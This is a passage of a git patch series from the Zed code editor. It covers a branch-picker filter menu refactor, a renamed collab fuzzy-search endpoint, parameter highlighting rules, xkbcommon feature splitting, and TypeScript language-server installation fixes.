                     cx.listener(move |this, _, window, cx| {
                         // The filter menu is a deferred popover, so clicks within it are outside
                         // the branch picker's bounds even though it is part of this interaction.
-                        if this.picker.read(cx).delegate.branch_filter_menu_open {
+                        if this.branch_filter_menu_open(cx) {
                             return;
                         }
                         this.picker.update(cx, |this, cx| {
@@ -572,6 +589,14 @@ impl BranchFilter {
             Self::Remote => Self::All,
         }
     }
+
+    fn label(self) -> &'static str {
+        match self {
+            Self::All => "All Branches",
+            Self::Local => "Local Branches",
+            Self::Remote => "Remote Branches",
+        }
+    }
 }
 
 struct GlobalBranchFilter(BranchFilter);
@@ -580,69 +605,35 @@ impl Global for GlobalBranchFilter {}
 
 fn branch_filter_menu(
     branch_filter: BranchFilter,
-    picker: WeakEntity<Picker<BranchListDelegate>>,
+    focus_handle: FocusHandle,
     window: &mut Window,
     cx: &mut App,
 ) -> Entity<ContextMenu> {
-    let picker_for_menu = picker.clone();
-    let menu = ContextMenu::build(window, cx, |menu, _, _| {
-        menu.header("Show")
-            .item(branch_filter_menu_entry(
-                "All Branches",
-                BranchFilter::All,
-                branch_filter,
-                picker_for_menu.clone(),
-            ))
-            .item(branch_filter_menu_entry(
-                "Local Branches",
-                BranchFilter::Local,
-                branch_filter,
-                picker_for_menu.clone(),
-            ))
-            .item(branch_filter_menu_entry(
-                "Remote Branches",
-                BranchFilter::Remote,
-                branch_filter,
-                picker_for_menu,
-            ))
-    });
-    window
-        .subscribe(&menu, cx, move |_, _: &DismissEvent, window, cx| {
-            let picker = picker.clone();
-            window.defer(cx, move |_, cx| {
-                picker
-                    .update(cx, |picker, _| {
-                        picker.delegate.branch_filter_menu_open = false;
-                    })
-                    .log_err();
-            });
-        })
-        .detach();
-    menu
-}
+    ContextMenu::build(window, cx, |mut menu, _, _| {
+        menu = menu.context(focus_handle.clone());
 
-fn branch_filter_menu_entry(
-    label: &'static str,
-    branch_filter: BranchFilter,
-    current_branch_filter: BranchFilter,
-    picker: WeakEntity<Picker<BranchListDelegate>>,
-) -> ContextMenuEntry {
-    ContextMenuEntry::new(label)
-        .toggle(IconPosition::End, branch_filter == current_branch_filter)
-        .handler(move |window, cx| {
-            picker
-                .update(cx, |picker, cx| {
-                    cx.set_global(GlobalBranchFilter(branch_filter));
-                    if picker.delegate.branch_filter == branch_filter {
-                        return;
-                    }
-                    picker.delegate.branch_filter = branch_filter;
-                    picker.update_matches(picker.query(cx), window, cx);
-                    picker.refresh_placeholder(window, cx);
-                    cx.notify();
-                })
-                .log_err();
-        })
+        let filter_actions: [(BranchFilter, Box<dyn Action>); 3] = [
+            (BranchFilter::All, ShowAllBranches.boxed_clone()),
+            (BranchFilter::Local, ShowLocalBranches.boxed_clone()),
+            (BranchFilter::Remote, ShowRemoteBranches.boxed_clone()),
+        ];
+
+        for (filter, action) in filter_actions {
+            let handler_focus = focus_handle.clone();
+            let dispatched = action.boxed_clone();
+            menu = menu.toggleable_entry(
+                filter.label(),
+                filter == branch_filter,
+                IconPosition::End,
+                Some(action),
+                move |window, cx| {
+                    window.focus(&handler_focus, cx);
+                    window.dispatch_action(dispatched.boxed_clone(), cx);
+                },
+            );
+        }
+        menu
+    })
 }
 
 pub struct BranchListDelegate {
@@ -658,7 +649,6 @@ pub struct BranchListDelegate {
     modifiers: Modifiers,
     branch_filter: BranchFilter,
     branch_filter_menu_handle: PopoverMenuHandle<ContextMenu>,
-    branch_filter_menu_open: bool,
     state: PickerState,
     branch_selection_behavior: BranchSelectionBehavior,
     focus_handle: FocusHandle,
@@ -986,7 +976,6 @@ impl BranchListDelegate {
             modifiers: Default::default(),
             branch_filter,
             branch_filter_menu_handle: PopoverMenuHandle::default(),
-            branch_filter_menu_open: false,
             state: PickerState::List,
             branch_selection_behavior,
             focus_handle: cx.focus_handle(),
@@ -1000,6 +989,27 @@ impl BranchListDelegate {
         self.branch_selection_behavior.is_select_only()
     }
 
+    fn branch_filter_trigger(&self) -> IconButton {
+        IconButton::new("branch-filter", IconName::Filter)
+            .icon_size(IconSize::Small)
+            .toggle_state(self.branch_filter != BranchFilter::All)
+            .when(self.branch_filter != BranchFilter::All, |this| {
+                this.indicator(Indicator::dot().color(Color::Info))
+            })
+    }
+
+    fn branch_filter_tooltip(&self) -> impl Fn(&mut Window, &mut App) -> gpui::AnyView + 'static {
+        let focus_handle = self.focus_handle.clone();
+        move |_, cx| {
+            Tooltip::for_action_in(
+                "Filter Branches",
+                &branch_picker::ToggleFilterMenu,
+                &focus_handle,
+                cx,
+            )
+        }
+    }
+
     fn is_force_delete_hovering_index(&self, index: usize) -> bool {
         self.modifiers.alt && self.hovered_delete_index == Some(index)
     }
@@ -1200,81 +1210,81 @@ impl PickerDelegate for BranchListDelegate {
         &self,
         editor: &Arc<dyn ErasedEditor>,
         _window: &mut Window,
-        cx: &mut Context<Picker<Self>>,
+        _cx: &mut Context<Picker<Self>>,
     ) -> Option<Div> {
-        let picker = cx.weak_entity();
         let editor = editor.as_any().downcast_ref::<Entity<Editor>>().unwrap();
-
-        let show_inline_filter =
-            self.editor_position() == PickerEditorPosition::End || !self.show_footer;
+        let editor_start = matches!(self.editor_position(), PickerEditorPosition::Start);
+        let editor_bottom = matches!(self.editor_position(), PickerEditorPosition::End);
+
+        let warning_banner = || {
+            self.branch_list_error.as_deref().map(|error| {
+                let message = format!("Some branches could not be loaded: {error}");
+                div().p_1p5().child(
+                    Banner::new()
+                        .severity(Severity::Warning)
+                        .child(div().min_w_0().flex_1().child(Label::new(message))),
+                )
+            })
+        };
 
         Some(
             v_flex()
-                .when(
-                    self.editor_position() == PickerEditorPosition::End,
-                    |this| this.child(Divider::horizontal()),
-                )
-                .when_some(self.branch_list_error.clone(), |this, error| {
-                    let message = format!("Some branches could not be loaded: {error}");
-                    this.child(
-                        div()
-                            .id("branch-list-error")
-                            .p_1p5()
-                            .child(
-                                Banner::new().severity(Severity::Warning).child(
-                                    Label::new(message.clone())
-                                        .size(LabelSize::Small)
-                                        .single_line()
-                                        .truncate(),
-                                ),
-                            )
-                            .tooltip(Tooltip::text(message)),
-                    )
+                .w_full()
+                .min_w_0()
+                .when(editor_bottom, |this| {
+                    this.child(Divider::horizontal())
+                        .when_some(warning_banner(), |this, banner| this.child(banner))
                 })
                 .child(
                     h_flex()
-                        .overflow_hidden()
-                        .flex_none()
                         .h_9()
                         .px_2p5()
+                        .flex_none()
+                        .overflow_hidden()
                         .child(editor.clone())
-                        .when(show_inline_filter, |this| {
+                        .map(|this| {
                             let branch_filter = self.branch_filter;
-                            let picker_for_menu_open = picker.clone();
+                            let focus_handle = self.focus_handle.clone();
+
                             this.gap_1().justify_between().child(
                                 PopoverMenu::new("branch-filter-menu")
                                     .with_handle(self.branch_filter_menu_handle.clone())
-                                    .on_open(Rc::new(move |_, cx| {
-                                        picker_for_menu_open
-                                            .update(cx, |picker, _| {
-                                                picker.delegate.branch_filter_menu_open = true;
-                                            })
-                                            .log_err();
-                                    }))
-                                    .trigger(
-                                        IconButton::new("branch-filter", IconName::Filter)
-                                            .toggle_state(branch_filter != BranchFilter::All)
-                                            .when(branch_filter != BranchFilter::All, |this| {
-                                                this.indicator(Indicator::dot().color(Color::Info))
-                                            })
-                                            .icon_size(IconSize::Small)
-                                            .tooltip(Tooltip::text("Filter branches")),
+                                    .trigger_with_tooltip(
+                                        self.branch_filter_trigger(),
+                                        self.branch_filter_tooltip(),
                                     )
                                     .menu(move |window, cx| {
                                         Some(branch_filter_menu(
                                             branch_filter,
-                                            picker.clone(),
+                                            focus_handle.clone(),
                                             window,
                                             cx,
                                         ))
+                                    })
+                                    .map(|this| {
+                                        if editor_bottom {
+                                            this.anchor(gpui::Anchor::BottomRight)
+                                                .attach(gpui::Anchor::TopRight)
+                                                .offset(gpui::Point {
+                                                    x: px(0.0),
+                                                    y: px(-1.0),
+                                                })
+                                        } else {
+                                            this.anchor(gpui::Anchor::TopRight)
+                                                .attach(gpui::Anchor::BottomRight)
+                                                .offset(gpui::Point {
+                                                    x: px(1.0),
+                                                    y: px(1.0),
+                                                })
+                                        }
                                     }),
                             )
                         }),
                 )
-                .when(
-                    self.editor_position() == PickerEditorPosition::Start,
-                    |this| this.child(Divider::horizontal()),
-                ),
+                .when(editor_start, |this| {
+                    this.child(Divider::horizontal())
+                        .when_some(warning_banner(), |this, banner| this.child(banner))
+                }),
         )
     }
 
@@ -1289,6 +1299,29 @@ impl PickerDelegate for BranchListDelegate {
         }
     }
 
+    fn render_header(
+        &self,
+        _window: &mut Window,
+        _cx: &mut Context<Picker<Self>>,
+    ) -> Option<AnyElement> {
+        if self.branch_filter == BranchFilter::All {
+            return None;
+        }
+
+        Some(
+            div()
+                .pt_1p5()
+                .mb_neg_0p5()
+                .child(ListSubHeader::new(self.branch_filter.label()).inset(true))
+                .into_any_element(),
+        )
+    }
+
+    fn has_another_open_menu(&self, window: &Window, cx: &App) -> bool {
+        self.branch_filter_menu_handle.is_deployed()
+            || self.branch_filter_menu_handle.is_focused(window, cx)
+    }
+
     fn match_count(&self) -> usize {
         self.matches.len()
     }
@@ -1858,7 +1891,6 @@ impl PickerDelegate for BranchListDelegate {
             return None;
         }
         let focus_handle = self.focus_handle.clone();
-        let picker = cx.weak_entity();
 
         let footer_container = || {
             h_flex()
@@ -1932,59 +1964,23 @@ impl PickerDelegate for BranchListDelegate {
 
                 Some(
                     footer_container()
-                        .map(|this| {
-                            if branch_from_default_button.is_some() {
-                                this.justify_end().when_some(
-                                    branch_from_default_button,
-                                    |this, button| {
-                                        this.child(button).child(
-                                            Button::new("create", "Create")
-                                                .key_binding(
-                                                    KeyBinding::for_action_in(
-                                                        &menu::Confirm,
-                                                        &focus_handle,
-                                                        cx,
-                                                    )
-                                                    .map(|kb| kb.size(rems_from_px(12.))),
-                                                )
-                                                .on_click(cx.listener(|this, _, window, cx| {
-                                                    this.delegate.confirm(false, window, cx);
-                                                })),
+                        .justify_end()
+                        .map(|this| match branch_from_default_button {
+                            Some(button) => this.child(button).child(
+                                Button::new("create", "Create")
+                                    .key_binding(
+                                        KeyBinding::for_action_in(
+                                            &menu::Confirm,
+                                            &focus_handle,
+                                            cx,
                                         )
-                                    },
-                                )
-                            } else {
-                                this.justify_between()
-                                    .child({
-                                        let branch_filter = self.branch_filter;
-                                        let picker_for_menu_open = picker.clone();
-                                        PopoverMenu::new("branch-filter-footer-menu")
-                                            .with_handle(self.branch_filter_menu_handle.clone())
-                                            .on_open(Rc::new(move |_, cx| {
-                                                picker_for_menu_open
-                                                    .update(cx, |picker, _| {
-                                                        picker.delegate.branch_filter_menu_open =
-                                                            true;
-                                                    })
-                                                    .log_err();
-                                            }))
-                                            .trigger(
-                                                Button::new("branch-filter", "Filter…")
-                                                    .toggle_state(
-                                                        branch_filter != BranchFilter::All,
-                                                    ),
-                                            )
-                                            .menu(move |window, cx| {
-                                                Some(branch_filter_menu(
-                                                    branch_filter,
-                                                    picker.clone(),
-                                                    window,
-                                                    cx,
-                                                ))
-                                            })
-                                    })
-                                    .child(delete_and_select_btns)
-                            }
+                                        .map(|kb| kb.size(rems_from_px(12.))),
+                                    )
+                                    .on_click(cx.listener(|this, _, window, cx| {
+                                        this.delegate.confirm(false, window, cx);
+                                    })),
+                            ),
+                            None => this.child(delete_and_select_btns),
                         })
                         .into_any_element(),
                 )
diff --git a/crates/picker/src/render.rs b/crates/picker/src/render.rs
index e61425466cc461..6abdf57113917c 100644
--- a/crates/picker/src/render.rs
+++ b/crates/picker/src/render.rs
@@ -208,13 +208,7 @@ impl<D: PickerDelegate> Picker<D> {
                 Head::Editor(editor) => {
                     if editor_position == PickerEditorPosition::Start {
                         let editor = editor.clone();
-                        Some(
-                            h_flex().w_full().child(
-                                div()
-                                    .flex_1()
-                                    .child(self.render_editor(&editor, window, cx)),
-                            ),
-                        )
+                        Some(self.render_editor(&editor, window, cx))
                     } else {
                         None
                     }

From 7a3a82325afb5e5188864be39af75ee30a4eebf6 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Tom=20Houl=C3=A9?=
 <13155277+tomhoule@users.noreply.github.com>
Date: Tue, 14 Jul 2026 13:40:24 +0200
Subject: [PATCH 442/772] collab: Use new fuzzy search endpoint (#60910)

Updates Collab to use the new `/internal/channel_members/fuzzy_search`
endpoint that searches users by username (instead of GitHub login).
Request and response shapes are the same.

Release Notes:

- N/A
---
 crates/cloud_api_types/src/internal_api.rs |  4 ++--
 crates/collab/src/services/user_service.rs | 13 ++++++-------
 2 files changed, 8 insertions(+), 9 deletions(-)

diff --git a/crates/cloud_api_types/src/internal_api.rs b/crates/cloud_api_types/src/internal_api.rs
index 2a352a09da94d3..bfe47f9535c075 100644
--- a/crates/cloud_api_types/src/internal_api.rs
+++ b/crates/cloud_api_types/src/internal_api.rs
@@ -44,14 +44,14 @@ pub struct FuzzySearchUsersResponse {
 }
 
 #[derive(Debug, Serialize, Deserialize)]
-pub struct FuzzySearchChannelMembersByGithubLoginBody {
+pub struct FuzzySearchChannelMembersBody {
     pub channel_id: i32,
     pub query: String,
     pub limit: u32,
 }
 
 #[derive(Debug, Serialize, Deserialize)]
-pub struct FuzzySearchChannelMembersByGithubLoginResponse {
+pub struct FuzzySearchChannelMembersResponse {
     pub channel_members: Vec<ChannelMember>,
     pub users: Vec<User>,
 }
diff --git a/crates/collab/src/services/user_service.rs b/crates/collab/src/services/user_service.rs
index abe22504afafc6..61541aa5a10dd8 100644
--- a/crates/collab/src/services/user_service.rs
+++ b/crates/collab/src/services/user_service.rs
@@ -1,10 +1,9 @@
 use anyhow::{Context as _, anyhow};
 use async_trait::async_trait;
 use cloud_api_types::internal_api::{
-    self, FuzzySearchChannelMembersByGithubLoginBody,
-    FuzzySearchChannelMembersByGithubLoginResponse, FuzzySearchUsersBody, FuzzySearchUsersResponse,
-    LookUpUserByGithubLoginBody, LookUpUserByGithubLoginResponse, LookUpUsersByLegacyIdBody,
-    LookUpUsersByLegacyIdResponse,
+    self, FuzzySearchChannelMembersBody, FuzzySearchChannelMembersResponse, FuzzySearchUsersBody,
+    FuzzySearchUsersResponse, LookUpUserByGithubLoginBody, LookUpUserByGithubLoginResponse,
+    LookUpUsersByLegacyIdBody, LookUpUsersByLegacyIdResponse,
 };
 use reqwest::RequestBuilder;
 use rpc::proto;
@@ -157,14 +156,14 @@ impl UserService for CloudUserService {
         query: &str,
         limit: u32,
     ) -> Result<(Vec<proto::ChannelMember>, Vec<User>)> {
-        let response_body: FuzzySearchChannelMembersByGithubLoginResponse = self
+        let response_body: FuzzySearchChannelMembersResponse = self
             .send_request(
                 self.http_client
                     .post(format!(
-                        "{}/internal/channel_members/fuzzy_search_by_github_login",
+                        "{}/internal/channel_members/fuzzy_search",
                         &self.zed_cloud_url
                     ))
-                    .json(&FuzzySearchChannelMembersByGithubLoginBody {
+                    .json(&FuzzySearchChannelMembersBody {
                         channel_id: channel.root_id().0,
                         query: query.to_string(),
                         limit,

From 9554ea58c3c2f5c0d03051253273148a48b5f679 Mon Sep 17 00:00:00 2001
From: Xin Zhao <zx0@mail.ustc.edu.cn>
Date: Tue, 14 Jul 2026 20:32:54 +0800
Subject: [PATCH 443/772] Distinguish parameters from normal variables in
 semantic token highlighting (#60949)

# Objective

Closes #60928

Currently, only the declaration of parameters in a function header is
highlighted as `variable.parameter`. Inside the function body,
parameters are highlighted as normal variables, making them
indistinguishable from local variables.

This PR ensures consistent highlighting for parameters throughout their
entire scope, helping developers distinguish between function inputs and
locally defined variables.

## Solution

- Updated the `default_semantic_token_rules.json`: when the token type
is `parameter`, no matter what token modifiers are, it is now mapped to
`variable.parameter` highlight style.

## Testing

Tested locally with Rust. The improvement in visual hierarchy is
demonstrated in the comparison below.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [ ] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

## Showcase

| Before | After |
| :---: | :---: |
| <img width="1178" height="400" alt="before"
src="https://github.com/user-attachments/assets/90a01543-2dcc-41e0-a2a3-f8020c6d77ee"
/> | <img width="1194" height="387" alt="after"
src="https://github.com/user-attachments/assets/c81ba273-2ea7-4d38-b7df-a6069c09c28a"
/>|

---

Release Notes:

- Improved semantic token highlighting to distinguish function
parameters from local variables.
---
 assets/settings/default_semantic_token_rules.json | 12 +-----------
 1 file changed, 1 insertion(+), 11 deletions(-)

diff --git a/assets/settings/default_semantic_token_rules.json b/assets/settings/default_semantic_token_rules.json
index c070a253d3065f..354fb431ebb30e 100644
--- a/assets/settings/default_semantic_token_rules.json
+++ b/assets/settings/default_semantic_token_rules.json
@@ -119,20 +119,10 @@
     "style": ["type"],
   },
   // References
-  {
-    "token_type": "parameter",
-    "token_modifiers": ["declaration"],
-    "style": ["variable.parameter"]
-  },
-  {
-    "token_type": "parameter",
-    "token_modifiers": ["definition"],
-    "style": ["variable.parameter"]
-  },
   {
     "token_type": "parameter",
     "token_modifiers": [],
-    "style": ["variable"],
+    "style": ["variable.parameter"],
   },
   {
     "token_type": "variable",

From afc13dc8e054705a42e2931b0840ed03ccfa583a Mon Sep 17 00:00:00 2001
From: xhe <xw897002528@gmail.com>
Date: Tue, 14 Jul 2026 20:47:50 +0800
Subject: [PATCH 444/772] gpui_linux: split xkbcommon wayland/x11 features
 (#60834)

# Objective

When xkbcommon compiled with either wayland or x11 only, the current
manifests will prevent it from compiling, despite gpui is already
wayland/x11 seperated.

close #60943

## Solution

Simple changes to manifests.

## Testing

```
 cargo tree -p gpui_platform --no-default-features --features {wayland,x11} -e features -i xkbcommon
```

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [ ] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [ ] Performance impact has been considered and is acceptable

Release Notes:

- N/A

Co-authored-by: Kirill Bulatov <kirill@zed.dev>
---
 crates/gpui_linux/Cargo.toml | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/crates/gpui_linux/Cargo.toml b/crates/gpui_linux/Cargo.toml
index 262da8d4dffb8d..3fcaa995d3d2fa 100644
--- a/crates/gpui_linux/Cargo.toml
+++ b/crates/gpui_linux/Cargo.toml
@@ -27,7 +27,7 @@ wayland = [
     "wayland-protocols-plasma",
     "wayland-protocols-wlr",
     "filedescriptor",
-    "xkbcommon",
+    "xkbcommon/wayland",
     "open",
     "gpui/wayland",
 ]
@@ -37,7 +37,7 @@ x11 = [
 
     "as-raw-xcb-connection",
     "x11rb",
-    "xkbcommon",
+    "xkbcommon/x11",
     "xim",
     "x11-clipboard",
     "filedescriptor",
@@ -89,7 +89,7 @@ swash = { version = "0.2.6" }
 bitflags = { workspace = true, optional = true }
 filedescriptor = { version = "0.8.2", optional = true }
 open = { version = "5.2.0", optional = true }
-xkbcommon = { version = "0.8.0", features = ["wayland", "x11"], optional = true }
+xkbcommon = { version = "0.8.0", default-features = false, optional = true }
 
 # Screen capture
 scap = { workspace = true, optional = true }

From e06d4b2b9f03671579eeacbf518ba0c1849d7648 Mon Sep 17 00:00:00 2001
From: Smit Barmase <heysmitbarmase@gmail.com>
Date: Tue, 14 Jul 2026 18:41:02 +0530
Subject: [PATCH 445/772] vtsls: Remove redundant TypeScript installation
 (#60951)

Context:

While looking at #60618, I found out the TypeScript 7 upgrade only
breaks the `typescript-language-server` adapter, not the default vtsls
adapter.

After digging in, it turns out the initial vtsls implementation in
#12606 followed the same two-package installation pattern as the
`typescript-language-server` adapter: it installed both
`@vtsls/language-server` and the latest `typescript`. However, vtsls
already bundles a compatible TypeScript version via
`@vtsls/language-service` and uses it whenever a workspace SDK is
unavailable.

I also cross-checked an intermediate vtsls upgrade issue, #18349, where
we used the installed TypeScript version to decide whether both packages
needed updating, so a new vtsls release could go uninstalled when
TypeScript hadn't changed. #20197 fixed that by checking both packages
independently, but kept the unnecessary standalone TypeScript
installation.

Changes:

This PR removes that redundant installation and version tracking from
the vtsls adapter. Zed now tracks only `@vtsls/language-server` and
relies on its declared TypeScript dependency. Workspace TypeScript and
Yarn SDK detection remain unchanged, so vtsls still uses a workspace SDK
when one is available and otherwise falls back to its bundled version.

As for the consequence of this change:
1. New users are not affected since npm installs vtsls's own pinned
TypeScript dependency anyway.
2. For existing users, the previously installed standalone `typescript`
was never resolvable by vtsls (its pinned version gets installed nested
when the versions conflict), so leaving it there is harmless.

To verify the standalone copy was really unused, I nuked the vtsls dir
and ran main (without this fix), which installed both the top-level
`typescript@7.0.2` and vtsls's own pinned `typescript@5.9.3` nested
under `@vtsls/language-service`. Node's module resolution shows vtsls
can only ever see the nested copy as well as the LSP logs from the
running server shows, all lib definition locations point at the nested
copy:

```
"uri": "file:///.../vtsls/node_modules/@vtsls/language-service/node_modules/typescript/lib/lib.es5.d.ts"
```

I also tested this branch with a fresh install TypeScript files work the
same as before.

Release Notes:

- N/A
---
 crates/languages/src/vtsls.rs | 40 ++++++-----------------------------
 1 file changed, 7 insertions(+), 33 deletions(-)

diff --git a/crates/languages/src/vtsls.rs b/crates/languages/src/vtsls.rs
index acf8aea5e59179..426f09d6c94a4d 100644
--- a/crates/languages/src/vtsls.rs
+++ b/crates/languages/src/vtsls.rs
@@ -39,7 +39,6 @@ impl VtslsLspAdapter {
     const PACKAGE_NAME: &'static str = "@vtsls/language-server";
     const SERVER_PATH: &'static str = "node_modules/@vtsls/language-server/bin/vtsls.js";
 
-    const TYPESCRIPT_PACKAGE_NAME: &'static str = "typescript";
     const TYPESCRIPT_TSDK_PATH: &'static str = "node_modules/typescript/lib";
     const TYPESCRIPT_YARN_TSDK_PATH: &'static str = ".yarn/sdks/typescript/lib";
 
@@ -84,15 +83,10 @@ impl VtslsLspAdapter {
     }
 }
 
-pub struct TypeScriptVersions {
-    typescript_version: Version,
-    server_version: Version,
-}
-
 const SERVER_NAME: LanguageServerName = LanguageServerName::new_static("vtsls");
 
 impl LspInstaller for VtslsLspAdapter {
-    type BinaryVersion = TypeScriptVersions;
+    type BinaryVersion = Version;
 
     async fn fetch_latest_server_version(
         &self,
@@ -100,13 +94,9 @@ impl LspInstaller for VtslsLspAdapter {
         _: bool,
         _: &mut AsyncApp,
     ) -> Result<Self::BinaryVersion> {
-        Ok(TypeScriptVersions {
-            typescript_version: self.node.npm_package_latest_version("typescript").await?,
-            server_version: self
-                .node
-                .npm_package_latest_version("@vtsls/language-server")
-                .await?,
-        })
+        self.node
+            .npm_package_latest_version(Self::PACKAGE_NAME)
+            .await
     }
 
     async fn check_if_user_installed(
@@ -135,11 +125,8 @@ impl LspInstaller for VtslsLspAdapter {
         async move {
             let server_path = container_dir.join(Self::SERVER_PATH);
 
-            node.npm_install_latest_packages(
-                &container_dir,
-                &[Self::PACKAGE_NAME, Self::TYPESCRIPT_PACKAGE_NAME],
-            )
-            .await?;
+            node.npm_install_latest_packages(&container_dir, &[Self::PACKAGE_NAME])
+                .await?;
 
             Ok(LanguageServerBinary {
                 path: node.binary_path().await?,
@@ -156,8 +143,7 @@ impl LspInstaller for VtslsLspAdapter {
         _: &Arc<dyn LspAdapterDelegate>,
     ) -> impl Send + Future<Output = Option<LanguageServerBinary>> + use<> {
         let node = self.node.clone();
-        let typescript_version = version.typescript_version.clone();
-        let server_version = version.server_version.clone();
+        let server_version = version.clone();
         let container_dir = container_dir.clone();
 
         async move {
@@ -175,18 +161,6 @@ impl LspInstaller for VtslsLspAdapter {
                 return None;
             }
 
-            if node
-                .should_install_npm_package(
-                    Self::TYPESCRIPT_PACKAGE_NAME,
-                    &container_dir.join(Self::TYPESCRIPT_TSDK_PATH),
-                    &container_dir,
-                    VersionStrategy::Latest(&typescript_version),
-                )
-                .await
-            {
-                return None;
-            }
-
             Some(LanguageServerBinary {
                 path: node.binary_path().await.ok()?,
                 env: None,

From a25f19cb2f55baa4cf8638981043ac64af741d62 Mon Sep 17 00:00:00 2001
From: Smit Barmase <heysmitbarmase@gmail.com>
Date: Tue, 14 Jul 2026 18:51:41 +0530
Subject: [PATCH 446/772] languages: Pin TypeScript to 6.x for
 typescript-language-server (#60970)

Closes https://github.com/zed-industries/zed/issues/60618

TypeScript 7 no longer ships `tsserver.js`, which
`typescript-language-server` depends on.

This PR does two things:
1. Pins the `typescript` package Zed auto-installs for
`typescript-language-server` to `^6`. For projects without their own
TypeScript in `node_modules` (which rely on the copy Zed installs), an
existing 7.x install gets downgraded to the latest 6.x, making the
server usable again.
2. Only hands the workspace's TypeScript to the server as a tsdk when it
actually contains `tsserver.js`, falling back to Zed's installed 6.x
otherwise. So if you upgraded your project to TypeScript 7, the language
server won't break. It keeps working against the 6.x TypeScript Zed
ships.

Note that vtsls, the default TypeScript language server, is unaffected
by the TypeScript 7 release. It bundles its own compatible TypeScript.
See #60951 for details. This PR only affects users who have manually
configured `typescript-language-server` as their language server.

Release Notes:

- Fixed `typescript-language-server` breaking after the TypeScript 7
release. For projects that have upgraded to TypeScript 7, install the
`tsgo` extension to use TypeScript's native language server.
---
 crates/languages/src/typescript.rs      |  30 +++-
 crates/node_runtime/src/node_runtime.rs | 193 ++++++++++++++++++++++--
 2 files changed, 201 insertions(+), 22 deletions(-)

diff --git a/crates/languages/src/typescript.rs b/crates/languages/src/typescript.rs
index e8d18840e0fe54..e34a0b7dbf7dcb 100644
--- a/crates/languages/src/typescript.rs
+++ b/crates/languages/src/typescript.rs
@@ -12,7 +12,7 @@ use language::{
 use lsp::{CodeActionKind, LanguageServerBinary, LanguageServerName, Uri};
 use node_runtime::{NodeRuntime, VersionStrategy};
 use project::{Fs, lsp_store::language_server_settings};
-use semver::Version;
+use semver::{Version, VersionReq};
 use serde_json::{Value, json};
 use smol::lock::RwLock;
 use std::{
@@ -601,6 +601,9 @@ fn replace_test_name_parameters(test_name: &str) -> String {
     PATTERN.split(test_name).map(regex::escape).join("(.+?)")
 }
 
+static TYPESCRIPT_VERSION_REQ: LazyLock<VersionReq> =
+    LazyLock::new(|| VersionReq::parse("^6").expect("Failed to parse TypeScript version req"));
+
 pub struct TypeScriptLspAdapter {
     fs: Arc<dyn Fs>,
     node: NodeRuntime,
@@ -634,7 +637,12 @@ impl TypeScriptLspAdapter {
 
         if self
             .fs
-            .is_dir(&adapter.worktree_root_path().join(tsdk_path))
+            .is_file(
+                &adapter
+                    .worktree_root_path()
+                    .join(tsdk_path)
+                    .join("tsserver.js"),
+            )
             .await
         {
             Some(tsdk_path)
@@ -661,7 +669,10 @@ impl LspInstaller for TypeScriptLspAdapter {
         Ok(TypeScriptVersions {
             typescript_version: self
                 .node
-                .npm_package_latest_version(Self::PACKAGE_NAME)
+                .npm_package_latest_version_with_requirement(
+                    Self::PACKAGE_NAME,
+                    Some(&TYPESCRIPT_VERSION_REQ),
+                )
                 .await?,
             server_version: self
                 .node
@@ -684,12 +695,13 @@ impl LspInstaller for TypeScriptLspAdapter {
         async move {
             let server_path = container_dir.join(Self::NEW_SERVER_PATH);
 
+            // Pin rather than Latest so an unusable TypeScript 7.x install gets downgraded.
             if node
                 .should_install_npm_package(
                     Self::PACKAGE_NAME,
                     &server_path,
                     &container_dir,
-                    VersionStrategy::Latest(&typescript_version),
+                    VersionStrategy::Pin(&typescript_version),
                 )
                 .await
             {
@@ -718,7 +730,7 @@ impl LspInstaller for TypeScriptLspAdapter {
 
     fn fetch_server_binary(
         &self,
-        _latest_version: Self::BinaryVersion,
+        latest_version: Self::BinaryVersion,
         container_dir: PathBuf,
         _: &Arc<dyn LspAdapterDelegate>,
     ) -> impl Send + Future<Output = Result<LanguageServerBinary>> + use<> {
@@ -726,10 +738,14 @@ impl LspInstaller for TypeScriptLspAdapter {
 
         async move {
             let server_path = container_dir.join(Self::NEW_SERVER_PATH);
+            let typescript_version = latest_version.typescript_version.to_string();
 
-            node.npm_install_latest_packages(
+            node.npm_install_packages(
                 &container_dir,
-                &[Self::PACKAGE_NAME, Self::SERVER_PACKAGE_NAME],
+                &[
+                    (Self::PACKAGE_NAME, typescript_version.as_str()),
+                    (Self::SERVER_PACKAGE_NAME, "latest"),
+                ],
             )
             .await?;
 
diff --git a/crates/node_runtime/src/node_runtime.rs b/crates/node_runtime/src/node_runtime.rs
index 035c86f8adf95a..6a2d1d7c3d3adb 100644
--- a/crates/node_runtime/src/node_runtime.rs
+++ b/crates/node_runtime/src/node_runtime.rs
@@ -5,7 +5,7 @@ use chrono::{DateTime, Utc};
 use futures::{AsyncReadExt, FutureExt as _, channel::oneshot, future::Shared};
 use http_client::{Host, HttpClient, Url};
 use log::Level;
-use semver::Version;
+use semver::{Version, VersionReq};
 use serde::Deserialize;
 use smol::io::BufReader;
 use smol::{fs, lock::Mutex};
@@ -253,6 +253,15 @@ impl NodeRuntime {
     }
 
     pub async fn npm_package_latest_version(&self, name: &str) -> Result<Version> {
+        self.npm_package_latest_version_with_requirement(name, None)
+            .await
+    }
+
+    pub async fn npm_package_latest_version_with_requirement(
+        &self,
+        name: &str,
+        version_requirement: Option<&VersionReq>,
+    ) -> Result<Version> {
         let http = self.0.lock().await.http.clone();
         let instance = self.instance().await;
         let output = instance
@@ -285,9 +294,10 @@ impl NodeRuntime {
             .log_err()
             .flatten();
         let latest_dist_tag = info.dist_tags.latest.clone();
-        let selected_version = select_npm_package_version(name, info, before.as_deref())?;
+        let selected_version =
+            select_npm_package_version(name, info, before.as_deref(), version_requirement)?;
         log::debug!(
